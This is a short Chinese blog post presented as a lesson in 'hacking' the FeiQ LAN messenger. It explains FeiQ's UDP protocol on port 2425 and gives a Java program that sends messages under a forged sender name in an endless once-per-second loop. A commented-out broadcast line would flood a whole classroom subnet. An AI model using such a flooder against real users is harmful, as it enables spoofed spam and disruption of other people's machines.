有趣的案例:攻击别人的软件

做一回黑客,攻击别人的电脑的飞秋

飞秋运行时,会监听UDP和TCP的2425端口,我们可以本地建立UDP连接与飞秋通讯例如
  
  1:100:username:hostname:32:content
      
  以上是要发送的的协议字符串,使用GBK编码。
  1表示版本号,100标识包号,username表示用户名,hostname表示主机名,32表示发送消息,后面的表示要发送的消息内容。

【代码实践】

public class HackFeiQ {
    public static void main(String[] args) throws IOException, InterruptedException {
        //飞秋的协议:1:100:username:hostname:32:content
        //飞秋的端口:2425

        //1.DatagramPacket
        byte[] feiQMsg = "1:100:张无忌:不告诉你:32:五大门派要围攻光明顶,快跑!!".getBytes("gbk");

        DatagramPacket dp = new DatagramPacket(
                feiQMsg,//飞秋的协议数据
                feiQMsg.length,//发送数据的长度
                InetAddress.getLocalHost(),//发送给对方的IP地址
                //InetAddress.getByName("192.168.37.255"),//炸全班
                2425);//对方电脑的端口号


        //2.DatagramSocket
        DatagramSocket ds = new DatagramSocket();
        while (true){
            ds.send(dp);
            Thread.sleep(1000);//一秒发送一次
        }

    }
}

地址xxx.xxx.xxx.255禁用

posted @ 2020-06-16 09:43  阿亮在努力  阅读(290)  评论(0)    收藏  举报